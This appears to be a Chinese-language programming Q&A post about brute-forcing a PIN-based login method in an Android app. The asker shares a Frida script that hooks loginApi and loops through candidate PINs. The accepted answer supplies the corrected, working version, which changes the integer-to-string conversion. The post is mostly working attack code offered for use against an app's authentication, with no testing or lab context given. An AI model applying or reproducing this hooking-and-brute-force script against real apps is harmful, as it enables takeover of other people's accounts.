使用 Frida 在 android 上的 BruteForce 登录方法

问题描述

我在尝试对应用进行暴力破解时遇到了问题。该方法代码如下。

private fun loginApi(phone: String,pin: String) {
    if (firebase_token.isEmpty()) {
        //
    }else {
        showDialog()
        //
        //  Code to call api and perform authentication
    }

     

我尝试了下面的代码,但没有用。

Java.perform(function () {
    var OTPActivity = Java.use('com.example.example.Getstarted.FragmentOtpVerification');
    OTPActivity.loginApi.overload("java.lang.String","java.lang.String").implementation = function(phone_no,pin){
        for(var i=1140; i<1151; i++)
            {
                send(i);
                var my_phone = string_class.$new('/*Number over here*/');
                var my_pin = string_class.$new(i);
                var result = this.loginApi(my_phone,my_pin);
                console.log(result);
            }
        console.log('Done:');
    };
});

我正在尝试使用这种方法进行暴力破解。任何帮助将不胜感激。

解决方法

我仅通过操作 Int 到 String 的转换语句就设法暴力破解了该方法。重新编辑的代码如下所示:

Java.perform(function () {
    var OTPActivity = Java.use('com.example.example.Getstarted.FragmentOtpVerification');
    OTPActivity.loginApi.overload("java.lang.String","java.lang.String").implementation = function(phone_no,pin){
        for(var i=1140; i<1151; i++)
            {
                send(i);
                var my_phone = string_class.$new('/*Number over here*/');
                var my_pin = i + ""; /* Changed over here. */
                var result = this.loginApi(my_phone,my_pin);
                console.log(result);
            }
        console.log('Done:');
    };
});